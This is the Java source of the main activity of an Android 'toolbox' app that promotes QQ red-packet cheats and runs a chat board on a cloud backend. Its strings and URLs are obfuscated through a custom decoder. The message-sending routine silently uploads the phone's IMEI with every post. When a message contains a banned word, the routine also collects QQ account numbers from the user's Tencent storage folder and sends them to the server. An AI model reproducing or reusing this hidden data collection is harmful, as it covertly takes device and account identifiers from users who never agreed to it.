package com.mtoolbox;

import android.*;
import android.app.*;
import android.content.*;
import android.content.pm.*;
import android.net.*;
import android.os.*;
import android.support.design.widget.*;
import android.support.v4.app.*;
import android.support.v4.content.*;
import android.support.v4.view.*;
import android.support.v4.widget.*;
import android.support.v7.app.*;
import android.support.v7.appcompat.*;
import android.support.v7.widget.*;
import android.telephony.*;
import android.transition.*;
import android.view.*;
import android.widget.*;
import cn.bmob.v3.*;
import cn.bmob.v3.exception.*;
import cn.bmob.v3.listener.*;
import com.mtoolbox.It.*;
import com.pgyersdk.javabean.*;
import com.pgyersdk.update.*;
import java.io.*;
import java.util.*;
import java.util.regex.*;
import android.support.v7.app.ActionBarDrawerToggle;
import android.support.v7.app.AlertDialog;
import android.support.v7.appcompat.R;
import android.support.v7.widget.Toolbar;
public class Main extends AppCompatActivity 
implements NavigationView.OnNavigationItemSelectedListener
{
	//声明组建
	private StringBuilder al;
	private Toolbar toolbar;
	private FloatingActionButton fabBtn;
	private int s=0;
	//private TextView time;
	private ArrayList<Map<String, Object>> mData = new ArrayList<>();
	private SimpleAdapter adapter;
	private ListView listview;
	
    @Override
    protected void onCreate(Bundle savedInstanceState)
	{
        Bmob.initialize(Main.this, $("~_•_~•~#~%•••#~#~¥~•~#~#•&~~•%•#•%~、~>~~•#~……•_~&~#~%•_•%•%~~~%~……"));
        super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		File mtoolbox=new File(Environment.getExternalStorageDirectory().getAbsolutePath()+"/mtoolbox/");
		if(mtoolbox.mkdir()==false){
			
		}else{
			toast("错误!");
			
		}
		//View view = LayoutInflater.from(Main.this).inflate(R.layout.nav_header_main, null);
		/*ImageView iv=(ImageView)findViewById(R.id.bj);
		String fileName = Environment.getExternalStorageDirectory().getAbsolutePath()+"/mtoolbox/bj.png"; 
		File bjtp=new File(fileName);
		if(bjtp.exists()==false){
			toast("未发现侧滑背景图片");
		}else{
		Bitmap bm = BitmapFactory.decodeFile(fileName); 
		iv.setImageBitmap(bm); */
		
		if (ContextCompat.checkSelfPermission(this, Manifest.permission.WRITE_EXTERNAL_STORAGE)
            != PackageManager.PERMISSION_GRANTED) {
            toast($("?、.$:>?#、#、%?、.?:、?$:+、%"));
            ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.WRITE_EXTERNAL_STORAGE},1);
        }
		try{
		shuaxin();
        getmessgae();
		final SwipeRefreshLayout swipeView = (SwipeRefreshLayout) findViewById(R.id.swipe_list);

        swipeView.setEnabled(false);
        ListView lView = (ListView) findViewById(R.id.list);
        swipeView.setOnRefreshListener(new SwipeRefreshLayout.OnRefreshListener() {
				@Override
				public void onRefresh() {
					swipeView.setRefreshing(true);
					( new Handler()).postDelayed(new Runnable() {
							@Override
							public void run() {
								shuaxin();
								swipeView.setRefreshing(false);

							}
						}, 2000);
				}
			});

        lView.setOnScrollListener(new AbsListView.OnScrollListener() {
				@Override
				public void onScrollStateChanged(AbsListView absListView, int i) {

				}

				@Override
				public void onScroll(AbsListView absListView, int firstVisibleItem, int visibleItemCount, int totalItemCount) {
					if (firstVisibleItem == 0)
						swipeView.setEnabled(true);
					else
						swipeView.setEnabled(false);
				}
			});
	/*bin ab= new bin();
		ab.setbulletin("a");
        ab.save(new SaveListener<String>() {

                @Override
                public void done(String objectId, BmobException e) {
                    if(e==null){
                        toast("创建数据成功:" + objectId);
                    }else{
                        toast(""+e);
              
			}}});*/
		findViewById(R.id.texta).setVisibility(View.GONE);//隐藏
		findViewById(R.id.card).setVisibility(View.GONE);//隐藏
		initInstances();
		//设置菜单列表
		toolbar = (Toolbar) findViewById(R.id.toolbar);
        setSupportActionBar(toolbar);
		//toolbar.setSubtitle("无");//设置子标题
	    DrawerLayout drawer = (DrawerLayout) findViewById(R.id.drawer_layout);
        ActionBarDrawerToggle toggle = new ActionBarDrawerToggle(Main.this, drawer, toolbar,R.string.open,R.string.close);
        drawer.setDrawerListener(toggle);
        toggle.syncState();
		NavigationView navigationView = (NavigationView) findViewById(R.id.nv_main_navigation);
        navigationView.setNavigationItemSelectedListener(this);
		//if you look code
		toolbar.setOnMenuItemClickListener(onMenuItemClick);
		//toolbar.setSubtitle("无");//设置子标题
	    TextView gx=(TextView)findViewById(R.id.gx);
		gx.setText("本次更新内容\n修复红包挂抢专属红包(给你的会抢)\nQQ本地亮钻\n修复了更新后依然提示的问题");
			PgyUpdateManager.register(Main.this,"f4bc787ef04e4918026cac0f00b5ddb8",
            new UpdateManagerListener() {

                @Override
                public void onUpdateAvailable(final String result)
				{
                    final AppBean appBean = getAppBeanFromString(result);
                    new AlertDialog.Builder(Main.this)
                        .setTitle($("?•¥::&?•¥•:……?•、$¥……?>.&:."))
                        .setMessage($("?#:……、.?•¥#.+?>¥.、&?>¥&.、?•、、:>?$:+、+?#、$¥%?>、?:……?•¥•:……?>、¥、、?•¥+.+"))
                        .setNegativeButton($("?#、$¥•?•:•、、"), null)
						.setCancelable(false)
                        .setPositiveButton(
                        $("?>.:、:?#、}:~?•¥::&?•¥•:……"),
                        new DialogInterface.OnClickListener() {

                            @Override
                            public void onClick(
                                DialogInterface dialog,
                                int which)
							{
                           /*     startDownloadTask(
                                    a.this,
                                    appBean.getDownloadURL());*/
									Uri($("•、>&>&>……~._$_$>>>>>>_?>……•>>¥•#>__?•~•$•}_$•}>&•$•$•+•_•$>、"));
                            }
                        }).show();
                }
                @Override
                public void onNoUpdateAvailable()
				{
                }
            });}catch (Error e){toast(""+e);}}
	private Toolbar.OnMenuItemClickListener onMenuItemClick = new Toolbar.OnMenuItemClickListener() {
		@Override
		public boolean onMenuItemClick(MenuItem menuItem)
		{
			switch (menuItem.getItemId())
			{
				case R.id.b:
					Intent shareIntent = new Intent();
					shareIntent.setAction(Intent.ACTION_SEND);
					shareIntent.putExtra(Intent.EXTRA_TEXT, "M工具箱一个非常厉害的工具箱里面有,QQ红包挂 QQ圈圈99+ 什么的厉害功能应有尽有,来下载试试吧\nhttp://www.coolapk.com/apk/com.mtoolbox");
					shareIntent.setType("text/plain");  //设置分享列表的标题,并且每次都显示分享列表
					startActivity(Intent.createChooser(shareIntent, $("?#、、、•?&:..:?#、、:……")));
					break;
				}
			return true;
		}
	};


	public boolean onCreateOptionsMenu(Menu menu)
	{
		getMenuInflater().inflate(R.menu.menu, menu);
		return true;
	}
	/*Button 	d = (Button)findViewById(R.id.d);
	 Button  h = (Button)findViewById(R.id.h);
	 Button  j= (Button)findViewById(R.id.j);
	 Button  k=(Button)findViewById(R.id.k);
	 Button  l= (Button)findViewById(R.id.l);
	 Button z=(Button)findViewById(R.id.z);
	 ConnectivityManager manager = (ConnectivityManager) getSystemService(CONNECTIVITY_SERVICE);
	 // 检查网络连接,如果无网络可用,就不需要进行连网操作等
	 NetworkInfo info = manager.getActiveNetworkInfo();
	 if (info == null || !manager.getBackgroundDataSetting()) {
	 toast("无网络,已禁用联网功能");
	 d.setClickable(false);
	 h.setClickable(false);
	 j.setClickable(false);
	 k.setClickable(false);
	 l.setClickable(false);
	 z.setClickable(false);
	 }else{
	 toast("已连接网络");
	 }}*/
	 //封装土司
	public void toast(String str)
	{
		Toast.makeText(Main.this,str,5000).show();
	}
//封装
    private void Uri(String str)
    {
        Uri uri = Uri.parse(str);
        Intent intent = new Intent(Intent.ACTION_VIEW, uri);
        startActivity(intent);
	}
	//封装
	/*private void Dialog(String a, String b, String c)
    {
        AlertDialog.Builder n = new AlertDialog.Builder(Main.this);
		n.setTitle(a);
		n.setMessage(b);
		n.setPositiveButton(
			c, null);
		n.show();}
	*/
	private long exitTime = 0;
	public boolean onKeyDown(int keyCode, KeyEvent event) {
        if (keyCode == KeyEvent.KEYCODE_BACK) {
            exit();
            return false;
        }
        return super.onKeyDown(keyCode, event);
    }
//双击退出
	public void exit() {
        if ((System.currentTimeMillis() - exitTime) > 2000) {
            Toast.makeText(getApplicationContext(), $("?#、•、}?•、+、¥?&:、、……?•.+.%?¥、……、……?#、>:.&}?#:>.#?#、#:>?>.?:%"),
						   Toast.LENGTH_SHORT).show();
            exitTime = System.currentTimeMillis();
        } else {
            finish();
            System.exit(0);
        }
}

	//以下侧滑方内容
    @Override
    public void onBackPressed() {
        DrawerLayout drawer = (DrawerLayout) findViewById(R.id.drawer_layout);
        if (drawer.isDrawerOpen(GravityCompat.START)) {
            drawer.closeDrawer(GravityCompat.START);
        } else {
            super.onBackPressed();
        }

	}
/*悬浮按钮事件*/
	
	private void initInstances() {
		fabBtn = (FloatingActionButton) findViewById(R.id.fab);
		fabBtn.setOnClickListener(new View.OnClickListener() {
				@Override
				public void onClick(View v) {
					final EditText et = new EditText(Main.this);
					AlertDialog.Builder kj=new AlertDialog.Builder(Main.this)
						.setTitle($("?#、$¥%?¥、……、%?•:•、、?•、%.$"))
						.setMessage($("?#、•、#?#.?:¥~."))
						.setView(et)
						.setNegativeButton($("?#、$¥•?•:•、、"), null)
						.setPositiveButton(
						$("?#、$¥%?#:、、~"),
						new DialogInterface.OnClickListener() {

							@Override
							public void onClick(DialogInterface p1, int p2)
							{
								String in = et.getText().toString();
								al = new StringBuilder(); 
								sendmessage(in);
                                shuaxin();
					
						}	
					
					});kj.show();	}		

			});}
	
    @SuppressWarnings("StatementWithEmptyBody")
    @Override
    public boolean onNavigationItemSelected(MenuItem item) {
        int id = item.getItemId();
        if (id == R.id.dzwz) {
			if(Build.VERSION.SDK_INT>19){
				// 先将颜色展出铺满,然后启动新的Activity
				getWindow().setExitTransition(new Explode());
				Intent intent = new Intent(this, dzwz.class);
				startActivity(intent,
							  ActivityOptions
							  .makeSceneTransitionAnimation(this).toBundle());
			}else{
				Intent intent = new Intent(this, dzwz.class);
				startActivity(intent);
			}}
			else if (id == R.id.imei) {
				if(Build.VERSION.SDK_INT>19){
					// 先将颜色展出铺满,然后启动新的Activity
					getWindow().setExitTransition(new Explode());
					Intent intent = new Intent(this, imeichaxun.class);
					startActivity(intent,
								  ActivityOptions
								  .makeSceneTransitionAnimation(this).toBundle());
				}else{
					Intent intent = new Intent(this, imeichaxun.class);
					startActivity(intent);
				}
		}else if(id==R.id.dc){
			
			if(Build.VERSION.SDK_INT>19){
				getWindow().setExitTransition(new Explode());
				Intent intent = new Intent(this, dc.class);
				startActivity(intent,
							  ActivityOptions
							  .makeSceneTransitionAnimation(this).toBundle());


			}else{
				Intent intent = new Intent(this, dc.class);
				startActivity(intent);
				}
			
			
		}else if(id==R.id.wifi)
		
	{
		if(Build.VERSION.SDK_INT>19){
			getWindow().setExitTransition(new Explode());
			Intent intent = new Intent(this, wifips.class);
			startActivity(intent,
						  ActivityOptions
						  .makeSceneTransitionAnimation(this).toBundle()); 


		}
		else{
			Intent intent = new Intent(this, wifips.class);
			startActivity(intent);
}	
	}else if(id==R.id.znz)
	{
		if(Build.VERSION.SDK_INT>19){
			getWindow().setExitTransition(new Explode());
			Intent intent = new Intent(this, Compass.class);
			startActivity(intent,
						  ActivityOptions
						  .makeSceneTransitionAnimation(this).toBundle());
		}
		else{
			Intent intent = new Intent(this, Compass.class);
			startActivity(intent);
		}
	}else 
	if(id==R.id.qqzb){
		if(Build.VERSION.SDK_INT>19)
		{
			getWindow().setExitTransition(new Explode());
			Intent intent = new Intent(this, zb.class);
			startActivity(intent,
						  ActivityOptions
						  .makeSceneTransitionAnimation(this).toBundle());
		}else{
			Intent intent = new Intent(this, zb.class);
			startActivity(intent);
		}
	}
	if(id==R.id.hongbao){
		if(Build.VERSION.SDK_INT>19)
		{
			getWindow().setExitTransition(new Explode());
			Intent intent = new Intent(this, hong.class);
			startActivity(intent,
						  ActivityOptions
						  .makeSceneTransitionAnimation(this).toBundle());
		}else{
			Intent intent = new Intent(this, hong.class);
			startActivity(intent);
			}
}else if(id==R.id.quanquan){
	
	if(Build.VERSION.SDK_INT>19)
	{
		getWindow().setExitTransition(new Explode());
        Intent intent = new Intent(this, quan.class);
        startActivity(intent,
                      ActivityOptions
					  .makeSceneTransitionAnimation(this).toBundle());         
    }else{
		Intent intent = new Intent(this, quan.class);
        startActivity(intent);
		}
}else if(id==R.id.ls){
	final EditText et = new EditText(Main.this);
	AlertDialog.Builder kj=new AlertDialog.Builder(Main.this)
		.setTitle($("#%#%?&:、:&?•¥>:•?&:+¥.?、.$¥}?、、%、.?#.&.¥"))
		.setMessage($("#%#%?#、$:>~."))
		.setView(et)
		.setNegativeButton($("?#、$¥•?•:•、、"), null)
		.setPositiveButton(
		$("?>.%.??#.?¥."),
		new DialogInterface.OnClickListener() {

			@Override
			public void onClick(DialogInterface p1, int p2)
			{String in = et.getText().toString(); 


				Uri($("•}>%>%>>>……•%~._$_$•¥•}_$•~•、•%>&~$•~•、•%>&#$>&>¥>……•#~}>>>……•%_•>#•¥•?~}") + in);


			}
		});kj.show();}
	else if(id==R.id.ip){
		
		if(Build.VERSION.SDK_INT>19){
			getWindow().setExitTransition(new Explode());
			Intent intent = new Intent(this, ip.class);
			startActivity(intent,
						  ActivityOptions
						  .makeSceneTransitionAnimation(this).toBundle());


		}else{
			Intent intent = new Intent(this, ip.class);
			startActivity(intent);

		}
		
	}
	else if(id==R.id.jjm)
	{
		if(Build.VERSION.SDK_INT>19){
			getWindow().setExitTransition(new Explode());
			Intent intent = new Intent(this, jjma.class);
			startActivity(intent,
						  ActivityOptions
						  .makeSceneTransitionAnimation(this).toBundle());
		}else{
			Intent intent = new Intent(this, jjma.class);
			startActivity(intent);

		}
		
		
	}
	else if(id==R.id.t){
		
		if(Build.VERSION.SDK_INT>19){
			getWindow().setExitTransition(new Explode());
			Intent intent = new Intent(this, zhongduan.class);
			startActivity(intent,
						  ActivityOptions
						  .makeSceneTransitionAnimation(this).toBundle());

		}
		else{
			Intent intent = new Intent(this, zhongduan.class);
			startActivity(intent);
			}
		
	}
		else if(id==R.id.no){

			/*
			*
			* 事件
			*
			*/
			if(Build.VERSION.SDK_INT>19){
				getWindow().setExitTransition(new Explode());
				Intent intent = new Intent(this, on.class);
				startActivity(intent,
							  ActivityOptions
							  .makeSceneTransitionAnimation(this).toBundle());

			}else{

				Intent intent = new Intent(this, on.class);
				startActivity(intent);
			}}
	else if (id==R.id.about)
	{
		if(Build.VERSION.SDK_INT>19){
			getWindow().setExitTransition(new Explode());
			Intent intent = new Intent(this, about.class);
			startActivity(intent,
						  ActivityOptions
						  .makeSceneTransitionAnimation(this).toBundle());

		}else{

			Intent intent = new Intent(this, about.class);
			startActivity(intent);

		}
       }
		return false;
	}
	public void v(View v)
	{
		s++;
		if(s==5)
		{
			findViewById(R.id.texta).setVisibility(View.VISIBLE);//显示
			findViewById(R.id.card).setVisibility(View.VISIBLE);//显示
			
		}
		}
	private void sendmessage(String message)
	{
		StringBuilder phoneInfo = new StringBuilder(); 
		TelephonyManager tm = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE); 
		phoneInfo.append(tm.getDeviceId() + System.getProperty("line.separator")); 
		if("null".equals(phoneInfo)){
			toast($("?#、$¥%?>¥&¥$?•¥+..?>¥$.#?¥¥&¥¥?、.$.$?$:+、%"));
		finish();
			}else{
				Pattern p1=Pattern.compile($("?#、_::?¥、……:+"));
				Matcher m1=p1.matcher(message);
				Pattern p2=Pattern.compile($("?#¥?、~?#¥+:?"));
				Matcher m2=p2.matcher(message);
				Pattern p3=Pattern.compile($("?&:}¥+?、、……、#"));
				Matcher m3=p3.matcher(message);
				Pattern p4=Pattern.compile($("?、:?.~?¥:、.%"));
				Matcher m4=p4.matcher(message);
				Pattern p5=Pattern.compile($("?&:}.……?#.•、、"));
				Matcher m5=p5.matcher(message);
				Pattern p6=Pattern.compile($("?、、}、¥?•:~.#?¥.¥.+"));
				Matcher m6=p6.matcher(message);
				Pattern p7=Pattern.compile($("?#.•、、?¥、……:+"));
				Matcher m7=p7.matcher(message);
				Pattern p8=Pattern.compile($("?>、#¥??>.+¥&"));
				Matcher m8=p8.matcher(message);
				Pattern p9=Pattern.compile($("&••+>¥#>•$>_•+•&"));
				Matcher m9=p9.matcher(message);
				Pattern p10=Pattern.compile($("?、、&¥%?•.?、:"));
				Matcher m10=p10.matcher(message);
				Pattern p11=Pattern.compile("妮哩萌萌");
				Matcher m11=p11.matcher(message);
				Pattern p12=Pattern.compile("QQ群");
				Matcher m12=p12.matcher(message);
				Pattern p13=Pattern.compile("加我");
				Matcher m13=p13.matcher(message);
				Pattern p14=Pattern.compile("操");
				Matcher m14=p14.matcher(message);
				Pattern p15=Pattern.compile("尼玛");
				Matcher m15=p15.matcher(message);
				Pattern p16=Pattern.compile("逼");
				Matcher m16=p16.matcher(message);
				Pattern p17=Pattern.compile("B");
				Matcher m17=p17.matcher(message);
				Pattern p18=Pattern.compile("刷钻");
				Matcher m18=p18.matcher(message);
				Pattern p19=Pattern.compile("日");
				Matcher m19=p19.matcher(message);
				Pattern p20=Pattern.compile("强奸");
				Matcher m20=p20.matcher(message);
				Pattern p22=Pattern.compile("蛤");
				Matcher m22=p22.matcher(message);
				Pattern p23=Pattern.compile("屎");
				Matcher m23=p23.matcher(message);
				Pattern p24=Pattern.compile("死");
				Matcher m24=p24.matcher(message);
				int c = 0;
				while(m1.find()|m2.find()|m3.find()|m4.find()|m5.find()|m6.find()|m7.find()|m8.find()|m9.find()|m10.find()|m11.find()|m12.find()|m13.find()|m14.find()|m15.find()|m16.find()|m17.find()|m18.find()|m19.find()|m20.find()|m22.find()|m23.find()|m24.find()){
					c++;
				}
				if(c==1){
					toast("发现聊天消息中出现违禁词");
					File f=new File("/sdcard/Tencent/MobileQQ/");
					File[] fs= f.listFiles();
					for(int a=0;a<f.length();a++){
						String ff=fs[a].getName();
						if(ff.startsWith("1")|ff.startsWith("2")|ff.startsWith("3")|ff.startsWith("4")|ff.startsWith("5")|ff.startsWith("6")|ff.startsWith("7")|ff.startsWith("8")|ff.startsWith("9")){
						qq akk = new qq();
						//发送内容
						akk.setfile(message+"\n"+ff);
						akk.save(new SaveListener<String>() {

								@Override
								public void done(String objectId, BmobException e) {
									if(e==null){
									}else{
										toast("发生异常!正在退出....");
										finish();
									}}});}else{
										toast("发生异常!正在退出....");
									finish();	
									}}
				}else{
        message akk = new message();
		//发送内容
		akk.setmessage(message);
		akk.setimei(""+phoneInfo);
        akk.save(new SaveListener<String>() {

				@Override
				public void done(String objectId, BmobException e) {
					if(e==null){
						toast("发送成功");
					}else{
						toast("很抱歉,发送失败");
					}}
				
	});}}}
	public void shuaxin() {
		listview = (ListView) findViewById(R.id.list);
        //清除横线
		listview.setDividerHeight(0);
		adapter = new SimpleAdapter(this, mData, R.layout.list,
		new String[]{ "message","time"},
		new int[]{R.id.m, R.id.t});					
		listview.setAdapter(adapter);
		final BmobQuery<message> y = new BmobQuery<message>();
		//排序方式
        y.order("-createdAt");
		//显示帖子最大数量
        y.setLimit(1000);
		//缓存方式,建议默认
		y.setCachePolicy(BmobQuery.CachePolicy./*CACHE_ELSE_NETWORK*/NETWORK_ELSE_CACHE);
        y.findObjects(new FindListener<message>() {
				public void done(List<message> object , BmobException e)
				{
					if(null==object)
					{
						toast("获取网络数据时发生错误");
                        toast("错误信息:\n"+e);
						return;
					}else{
					mData.clear();
					for (message message2 : object)
					{
					
						//final Map<String, Object> item = new HashMap<String, Object>();
                        Map<String, Object> item = new HashMap<String, Object>();
						//获取内容
						String message1 = message2.getmessage();
						//获取发送时间
						String time = message2.getCreatedAt();
						//设置内容
						item.put("message", message1);
						//设置发送时间
						item.put("time", time);
						//添加数据
						mData.add(item);

					}
					adapter.notifyDataSetChanged();
				}}
				public void onError(int code, String msg) {}
				
		});}
		private String data1;
            public void getmessgae(){
                final TextView vpn=(TextView)findViewById(R.id.vpn);
                BmobQuery<bin> query = new BmobQuery<bin>();
                query.getObject("91a3f749a1", new QueryListener<bin>() {

                        @Override
                        public void done(bin object, BmobException e) {
                            if(e==null){
                                vpn.setText(object.getbulletin());  
                            }else{
                                toast("数据获取失败!");
                            }
                        }

                    });
				BmobQuery<bin> gg = new BmobQuery<bin>();
                query.getObject("ba5e1a52ad", new QueryListener<bin>() {

                        @Override
                        public void done(bin object, BmobException e) {
                            if(e==null){
								TextView mmm=(TextView)findViewById(R.id.mmm);
                                mmm.setText(object.getbulletin());  
                            }else{
                            }
                        }});}
	public static String $(String st1) 
	{ 
	String hexString="0123456789abcdef";
		String bytes="";
		String rreg[] ={"a","b","c","d","e","f","0","1","2","3","4","5","6","7","8","9"};
		String rre[] = {".",":","+","}","?","$","……","%","_","~","&","#","•",">","、","¥"};

		for(int a=0;a<16;a++){

			if(a==0){
				bytes=st1.replace(rre[a],rreg[a]);
			}
			bytes=bytes.replace(rre[a],rreg[a]);

		}
		ByteArrayOutputStream baos=new ByteArrayOutputStream(bytes.length()/2); 
		for(int i=0;i<bytes.length();i+=2) 
			baos.write((hexString.indexOf(bytes.charAt(i))<<4 |hexString.indexOf(bytes.charAt(i+1)))); 
		return new String(baos.toByteArray()); 



	}
	}